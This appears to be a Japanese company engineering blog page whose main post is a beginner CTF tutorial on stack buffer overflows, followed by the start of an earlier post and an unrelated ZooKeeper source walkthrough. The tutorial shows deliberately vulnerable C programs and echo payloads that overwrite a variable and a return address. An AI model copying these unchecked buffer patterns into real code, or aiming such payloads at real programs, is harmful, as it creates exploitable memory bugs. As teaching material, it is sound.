フロムスクラッチ開発者ブログ

from scratch Engineers' Blog

CTFのバイナリ解析から学ぶセキュリティとハッキング vol.2

 こんにちは。フロムスクラッチ新人エンジニアの遠藤です。
 フロムスクラッチでは、データを取り扱う会社としてセキュリティに関する社内勉強会を行っており、新人の自分がその場での学びをこちらで共有したいと思います。
 今回は以前に投稿したブログの続編として投稿させていただきます。気になる方はぜひこちらもご覧になっていただけると、今回の記事と合わせてより理解が深まるのではないかと思います。(記事のリンク)
 そして今回は「CTFのバイナリ解析から学ぶセキュリティとハッキング」というテーマの中でCTFのpwnに着目してお話ができればと思います。ちなみに、pwnとはCTFの種目の一つで、問題を攻略してサーバ権限を得る、といった手順を踏む問題のことを言います。
 勉強会の内容自体が書籍の『セキュリティコンテストチャレンジブック CTFで学ぼう情報を守るための戦い方』を参考にしているので、より深く気になる方は手にとって見てはいかがでしょうか。それでは今回もよろしくおねがいします。

1.脆弱性を探す

 前回の記事でも少し触れましたが、pwn問題の基本的な攻略法の手順として下記のような順番で行っていきます。

 1.環境を調べる(下調べ)
 2.脆弱性を探す
 3.エクスプロイト

 前回の記事では、1の環境を調べる方法を紹介させていただいたので、今回は2の脆弱性を探す以降を記事にできればと思います。
 
 脆弱性を探す基本的な方針は下記の2つです。
 ・プログラムが落ちるような入力を探す
 ・脆弱性の存在する箇所にプログラムを実行して辿り着く

 プログラムが落ちるような入力を探すステップでキーワードとなるのがバッファーオーバーフローです。 例えば、下記のようなユーザー入力を扱う関数があるとします。

#include <stdio.h>

int main(int argc, char *argv[]) {

  char buffer[100]; 
  fgets(buffer, 128, stdin); 
  return 0;
}

 この関数では、宣言されたbuffer変数サイズは100バイト分で、読み込まれる文字列は最大128バイトです。これを実行すると例えば、

$ python -c 'print("A"*128)' | ./bof

 などの入力を実行するとSegmmentation faultというメッセージが表示されます。
 このようにfgetsなどのユーザー入力を扱う関数では入力をメモリ上に配置するため、入力がバッファサイズを超えてしまうとバッファオーバーフローの脆弱性に繋がることがあります。他にはscanfなども同様です。
 
 ここで、どのような事が起こっているか簡単に説明させていただきたいと思います。

f:id:takuya-endo:20180424025303p:plain

 例えば図①のように16 bitのメモリ領域の中に、S1の領域を2bit予約してあり、2bitとなりにS2の領域を8bit持っているとします。ここで、図の②のようにS1の領域に”FROM TOKYO”という空白を含めて10文字のデータを入れるとします。データ自体は問題なく格納されます。しかしながら、バッファである2bit以上伸びてしまった文字列については担保されません。なぜならば、図の③のように、もし次の処理でS2の領域に”SCRATCH”という文字列が登録されれば” TOKYO”は上書きされてしまうからです。
 以下、実際に実行してみました。

#include <stdio.h>
#include <string.h>

int main(int argc, char ** argv){
  char s2[8],s1[4] ;

  strcpy(s1, "FROM TOKYO"); // s1の領域を越えて代入.
  fprintf(stdout, "%s\n", s1);

  strcpy(s2, "SCRATCH");
  fprintf(stdout, "%s\n", s1);

  printf("s1 = %p : s2 = %p \n",s1,s2);

  return 0;
}

 こちらのコードをコンパイルして実行します。

$ gcc -m32 -fno-stack-protector -o example example.c
$ ./example
FROM TOKYO
FROMSCRATCH
s1 = 0xff97f7e4 : s2 = 0xff97f7e8 

 実際に置き換わりました!
 これは、IPなど大事な情報が入ったメモリについても同様のことが言えます。このように脆弱性は存在し、pwnではそれを見つけ出していきます。

 具体的にローカル変数の破壊を行ってみると下記のようになります。

#include <stdio.h>
  
int main(int argc, char *argv[]) {
     
  int zero = 0;
  char buffer[10];
  printf("buffer address\t= %x\n", (int)buffer);
  printf("zero address\t= %x\n", (int)&zero);
  fgets(buffer, 64, stdin);
  printf("zero = %d\n", zero);
     
  return 0;
}

こちらのコードをコンパイルし、実行すると

$gcc test.c  -o bof1
$ ./bof1 
buffer address  = ffffe430
zero address    = ffffe43c
ctf4b
zero = 0
$ ./bof1 
buffer address  = ffffe430
zero address    = ffffe43c
dddddddddddddddddddddddddddddd
zero = 1684300900
Segmentation fault

 1回目の実行では、ctf4b(5バイト+改行コード=6バイト)を入力していて、変数はバッファ内に収まっているので問題は発生しません。
 一方で2つ目の実行ではバッファ不足のため全て埋めた上で変数 'zero' にまで入力が及んでしまい、zero変数が上書きされてしまっている状態です。

2.CPUの仕組み

 さらにpwnで脆弱性をつくにあたってキーとなるのがCPUの仕組みです。この仕組を理解した上で、プログラムの脆弱性を探します。
 f:id:takuya-endo:20180423234813p:plain
 プログラムを実行するにあたり、CPUとメモリとスタックが動きます。プログラムはメモリに格納されています。このとき、各命令文やデータが格納できるデータ量が割り当てられ、かつ割り当てられた箇所にポインタアドレスと言って、どこにどのデータが格納されているかわかるようになっています。
 f:id:takuya-endo:20180423234816p:plain
 CPUはレジスタを持っており、次にメモリ内のどこのアドレスの命令文やデータを使用するのかのアドレスを持ちます。このとき、基本的には上から順番にアドレスが入り実行されます。しかし命令文などが順番ではなく別のアドレスに移動する場合に、一旦持っていたアドレスやローカル変数をスタック領域に退避させます。
 f:id:takuya-endo:20180423234821p:plain
 スタック領域にはデータが積み重なるように格納されていき、リターンなどによりCPUに戻され実行されます。実行されるとスタック領域からは撤去されます。
 

3.エクスプロイト

 ここでは上記で説明した脆弱性とCPUの仕組みを利用してクスプロイトをしていきます。エクスプロイトとはコンピュータのセキュリティ用語で、脆弱性を利用した悪意のある行為のことを指します。pwnでは問題を解くためにエクスプロイトを行っていきます。
 先程CPUの仕組みで記載したスタックスペースのバッファーオーバーフローを狙っていきます。
 全体の流れとしては下記のとおりです。
 1.ローカル変数の破壊
 2.ローカルアドレスの書き換え
 3.リターンアドレスの書き換え
 4.メイン関数の実行

 ローカル変数の破壊については、脆弱性の箇所でご説明したので省略します。ここではローカル変数を書き換えから行います。
 

#include <stdio.h>
 
int main(int argc, char *argv[]) {
 
  char buffer[10];
  int zero = 0;
  
  fgets(buffer, 64, stdin);
  printf("zero = %x\n", zero);
  if (zero == 0x12345678) {
    printf("congrats!");
  }
  
  return 0;
}

こちらのコードをコンパイルします。上記のコードを32bitでコンパイルを行います。

$  gcc -m32 -fno-stack-protector -o bof2 test2.c
$ file bof2 
bof2: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=b2cc5abde805741fa786c49c96f71f3e859a0039, not stripped

ここで試しに変数 `zero` を12345678に書き換えてみようと思います。

12345678=x78\x56\x34\x12

で入力されるので、そのまま入れようとすると、

$ echo -e 'x78\x56\x34\x12' | ./bof2
zero = 0

このように変数 `zero` はゼロのままです。
バッファーオーバーフローを利用するため目的の数値の前に'AAAAAAAAAA'を書き加えて実行すると、

$  echo -e 'AAAAAAAAAA\x78\x56\x34\x12' | ./bof2
zero = 12345678

このように変数 `zero` を書き換えることができます。

このようにローカル変数が書き換えることができれば、同様に近くにあるリターン関数の場所を特定して書き換えることもできます。

 #include <stdio.h>
 #include <string.h>
 
 char buffer[32];
 
 int main(int argc, char *argv[]) {
     char local[32];
     printf("buffer: 0x%x\n", &buffer);
     fgets(local, 128, stdin);
     strcpy(buffer, local);
     return 0;
 }

同様にこちらもコンパイルします。また、大量の文字列を入力した場合にオーバーフローする動作の確認も行いました。

$ gcc -m32 -fno-stack-protector -o bof3 test3.c
$ ./bof3
buffer: 0x804a060
ctf4b
$ ./bof3
buffer: 0x804a060
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault

こちらをgdbで実行します。結果は長いので中略していますが、

]$ gdb -q bof3
Reading symbols from /home/user/blogtest/bof3...(no debugging symbols found)...done.
(gdb) r
Starting program: /home/user/blogtest/bof3 
buffer: 0x804a060
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
…(中略)
EIP: 0x41414141 (b'AAAA')
…(中略)
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

こちらでEIPの値を知ることができます。
そこで、gdb-peda を用いてEIPのメモリアドレスを調べます。
出現する場所を特定したらあとはどこにリターンするかを決めます。
今回はmain関数の先頭にリターンさせます。逆アセンブルでmain関数の先頭を探します。

(前略)
0804849d <main>:
 804849d:       push   ebp
 804849e:       mov    ebp,esp
 80484a0:       and    esp,0xfffffff0
 80484a3:       sub    esp,0x30
 80484a6:       mov    DWORD PTR [esp+0x4],0x804a060
 80484ae:       mov    DWORD PTR [esp],0x8048594
 80484b5:       call   8048350 <printf@plt>
 80484ba:       mov    eax,ds:0x804a040
 80484bf:       mov    DWORD PTR [esp+0x8],eax
 80484c3:       mov    DWORD PTR [esp+0x4],0x80
 80484cb:       lea    eax,[esp+0x10]
 80484cf:       mov    DWORD PTR [esp],eax
 80484d2:       call   8048360 <fgets@plt>
 80484d7:       lea    eax,[esp+0x10]
 80484db:       mov    DWORD PTR [esp+0x4],eax
 80484df:       mov    DWORD PTR [esp],0x804a060
 80484e6:       call   8048370 <strcpy@plt>
 80484eb:       mov    eax,0x0
 80484f0:       leave  
 80484f1:       ret    
 80484f2:       xchg   ax,ax
 80484f4:       xchg   ax,ax
 80484f6:       xchg   ax,ax
 80484f8:       xchg   ax,ax
 80484fa:       xchg   ax,ax
 80484fc:       xchg   ax,ax
 80484fe:       xchg   ax,ax
(後略)

先頭は0x804849dとわかったので、

$ echo -e 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x9d\x84\x04\x08'

実行してみると、

$ echo -e 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x9d\x84\x04\x08' | ./bof3
buffer: 0x804a060
buffer: 0x804a060
Segmentation fault

mainが2回実行されました!
このように、プログラムの実行位置を自由な場所に移動させることができるようになったので、いわゆるEIPを奪ったという状態になりました。
そしてどの領域でも実行できるようにすれば、バッファーの変数にシェルコードを仕込み実行させることもできます。
ここまでできることがpwnでの一つのポイントとなります。

4.おわりに

 簡単に学びをまとめると、CPUやメモリ、また、言語などによって脆弱性というものが存在し、それを理解することによってよりセキュリティの強固なコードを書けるエンジニアになったり、外部からの攻撃から守れる知識を習得するという観点でCTFは非常に勉強になりました。まだまだ勉強不足なのでこれからも精進していきます。ありがとうございました。

CTFのバイナリ解析から学ぶセキュリティとハッキング vol.1

 こんにちは、フロムスクラッチにこの春入社した新人エンジニアの遠藤です!

 フロムスクラッチでは、データを取り扱う会社として、定期的にセキュリティに関する社内勉強会を実施しております。今回はこの勉強会で得た学びを記事にしたいと思います。社内勉強会ではマイナビ出版の『セキュリティコンテストチャレンジブック CTFで学ぼう情報を守るための戦い方』を参考にしており、今回は「CTFのバイナリ解析から学ぶセキュリティとハッキング」というテーマでお話できればと思います。
 今回学びが非常に多く、分量が大きくなり過ぎたので、「CTFとバイナリ解析の基本」と「CTFのPwn問題の基本的な攻略法」の2回に分けて投稿していきます。

1.CTFとは?

 CTFとは情報技術に関する問題に対して適切な形で対処し、それに応じて得られた得点で勝敗を決める大会です。”Capture The Flag”の頭文字をとってCTFといいます。CTFでは得点となる答えの文字列のことを「フラグ(Flag)」と呼び、これを得ること で得点となるのが基本です。
 そこで、例えばこんなクイズが出るかもしれません。
 
 フラグはなんでしょう?

LRGM OY [LXUSYIXGZIN]
続きを読む

Apache ZooKeeperを内部解析してみる vol.3 〜データツリー編〜

こんにちはfukuです。

前回は実際にZooKeeperをスタンドアローンで起動して、zkCliからデータツリーの操作に関して説明を行いました。 今回は実際のソースコードからデータツリーがどのように実装されているのかを解説していこうと思います。ソースコードはバージョン3.5.3をもとにしています。

データツリーのデータ構造

データツリーはこれまで説明を行ってきたように、znodeで構成されます。znodeはソースコードではDataNodeクラスで管理されます。まずはDataNodeについてみていきましょう。

DataNode

DetaNodeクラスのインスタンス変数には以下のようなものがあります。

public class DataNode implements Record {
  /** the data for this datanode */
  byte data[];

  /** 
   * the acl map long for this datanode. the datatree has the map
   */
  Long acl;

  /** 
   * the stat for this node that is persisted to disk.
   */
  public StatPersisted stat;

  /** 
   * the list of children for this node. note that the list of children string
   * does not contain the parent path -- just the last part of the path. This
   * should be synchronized on except deserializing (for speed up issues).
   */
  private Set<String> children = null;

dataはcreateやsetコマンドで指定するznodeのデータを保持します。またaclはznodeに設定されている権限情報を管理しますが、今回は権限には触れずに説明を行います。

childrenは対象のznodeの子ノードを保持します。データはSet<String>と なっているので、子ノードの親ノードを除いたパス名が格納されます。例として、/parent/parent/child1/parent/child2 とznodeがある場合には/parrentノードのchildren変数には"child1" と"child2"が格納されることになります。

最後にstatはStatPersistedクラスのインスタンスが格納されます。StatPersistedクラスはディスク永続化するためのノードの情報が格納されます。StatPersistedクラスの定義は以下となります。

// information explicitly stored by the server persistently
class StatPersisted {
    long czxid;      // created zxid
    long mzxid;      // last modified zxid
    long ctime;      // created
    long mtime;      // last modified
    int version;     // version
    int cversion;    // child version
    int aversion;    // acl version
    long ephemeralOwner; // owner id if ephemeral, 0 otw
    long pzxid;      // last modified children
}

StatPersistedでは主にノードに関してのバージョン情報とZooKeeperトランザクションID(ZXID)に関する情報を保持します。バージョンやトランザクションに関しては次回以降に説明をできればと思います。

StatPersistedの状態は前回紹介した、zkCli.shからgetコマンドの-sオプションによって参照が行えます。

[zk: localhost:2181(CONNECTED) 0] get -s /parent
hogehoge
cZxid = 0x9
ctime = Sun Jan 07 17:37:14 JST 2018
mZxid = 0xe
mtime = Sun Jan 07 17:48:47 JST 2018
pZxid = 0x9
cversion = 0
dataVersion = 4
aclVersion = 0
ephemeralOwner = 0x0
dataLength = 8
numChildren = 0

ただしCLIから表示される内容はStatPersistedインスタンスそのものではなく、以下に示すStatクラスのインスタンスへ変換した内容を表示します(StatPersistedのcopyStatメソッドにより変換が行われます)。ただ内容に関してはdataの長さ(dataLength)や子ノードの数(numChildren)が追加される程度で、ほとんど内容としては同じとなります。

 // information shared with the client
 class Stat {
     long czxid;      // created zxid
     long mzxid;      // last modified zxid
     long ctime;      // created
     long mtime;      // last modified
     int version;     // version
     int cversion;    // child version
     int aversion;    // acl version
     long ephemeralOwner; // owner id if ephemeral, 0 otw
     int dataLength;  //length of the data in the node
     int numChildren; //number of children of this node
     long pzxid;      // last modified children
 }

DataTree

つづいてデータツリーをメモリ上で管理するDataTreeクラスについてみていきます。DataTreeクラスから、znode管理に関する変数を以下に示します。

public class DataTree {
  /**
   * This hashtable provides a fast lookup to the datanodes. The tree is the
   * source of truth and is where all the locking occurs
   */
  private final ConcurrentHashMap<String, DataNode> nodes =
    new ConcurrentHashMap<String, DataNode>();

  /**
   * This hashtable lists the paths of the ephemeral nodes of a session.
   */
  private final Map<Long, HashSet<String>> ephemerals = 
    new ConcurrentHashMap<Long, HashSet<String>>();

  /**
   * This set contains the paths of all container nodes
   */
  private final Set<String> containers = 
    Collections.newSetFromMap(new ConcurrentHashMap<String, Boolean>());

  /**  
   * This set contains the paths of all ttl nodes
   */
  private final Set<String> ttls =
    Collections.newSetFromMap(new ConcurrentHashMap<String, Boolean>());
}

ここで上記で紹介したかくインスタンス変数に関して説明をしていきます。

nodes

nodesはデータツリーが管理するすべてznodeの情報を格納します。ZooKeeperではツリー構造のデータを扱いますが、データ構造上は一般的な親ノードが子ノードのデータポインタを管理するようなツリー構造のデータ構造をしておらず(DataNodeではあくまで子ノードのパス名した管理していませんでした)、DataTreeインスタンスがすべてのznodeのデータポインタを管理するような構造となっています。

ZooKeeperでは内部のメタデータを管理するためにデフォルトのデータツリーの状態をDataTreeのコンストラクタで生成します。デフォルトのデータツリーの状態は以下のようになっています。

f:id:fuku_dw:20180107184731p:plain:w300

そのためデフォルトのnodesの状態は"/"、"/zookeeper"、"zookeeper/config"、"/zookeeper/quota" それぞれのパス名とDataNodeへ参照となります。

ephemerals

変数ephemeralsではEPHEMERALモードのznodeを管理します。Map<Long, HashSet<String>>構造になっていますが、KeyでセッションIDを管理してValueで対象のセッションに紐づくEPHEMERALノードパスを管理するようになっており、特定のセッションが切断された場合に、削除するべきEPHEMERALノードを簡単に参照できるような構造となっています。

参考としてセッションを切断した時に呼び出すkillSessionメソッドを記載します。

void killSession(long session, long zxid) {
  HashSet<String> list = ephemerals.remove(session);
  if (list != null) {
    for (String path : list) {
      try {
        deleteNode(path, zxid);
        if (LOG.isDebugEnabled()) {
          LOG
            .debug("Deleting ephemeral node " + path
              + " for session 0x"
              + Long.toHexString(session));
        }
      } catch (NoNodeException e) {
         LOG.warn("Ignoring NoNodeException for path " + path
           + " while removing ephemeral for dead session 0x"
           + Long.toHexString(session));
      }
    }
  }
}

2行目のHashSet<String> list = ephemerals.remove(session);で切断対象のセッションに紐づくEPHEMERALノードのパス一覧を取得していることがわかります。

containers

containers変数ではCONTAINERモードのznodeのパスを管理しています。これはZooKeeper内部で自動的にCONTAINERモードのznodeを削除する際に、すべてのCONTAINERノードを簡単に参照できるようにするためです。

ttls

ttls変数はTTLモードのznodeのパスを管理します。ttlscontainersと同じように内部的にttlsを効率よく参照して、生存期間が切れたのznodeを削除するために利用されます。

このようにNodeTreeインスタンスでは、すべてのznodeをnodes変数で管理して、EPHEMERALモードなどの特定のモードに関してのznodeに対しては、追加でそれぞれのモードを管理する変数にそのパス情報を格納しながらデータツリー全体を管理しています。

おわりに

今回は実際にソースコードからデータツリーがメモリ上でどのように管理しているのかをみていきました。 次回はさらにznodeを深掘りして理解を深めていけたらと思います。

ではでは...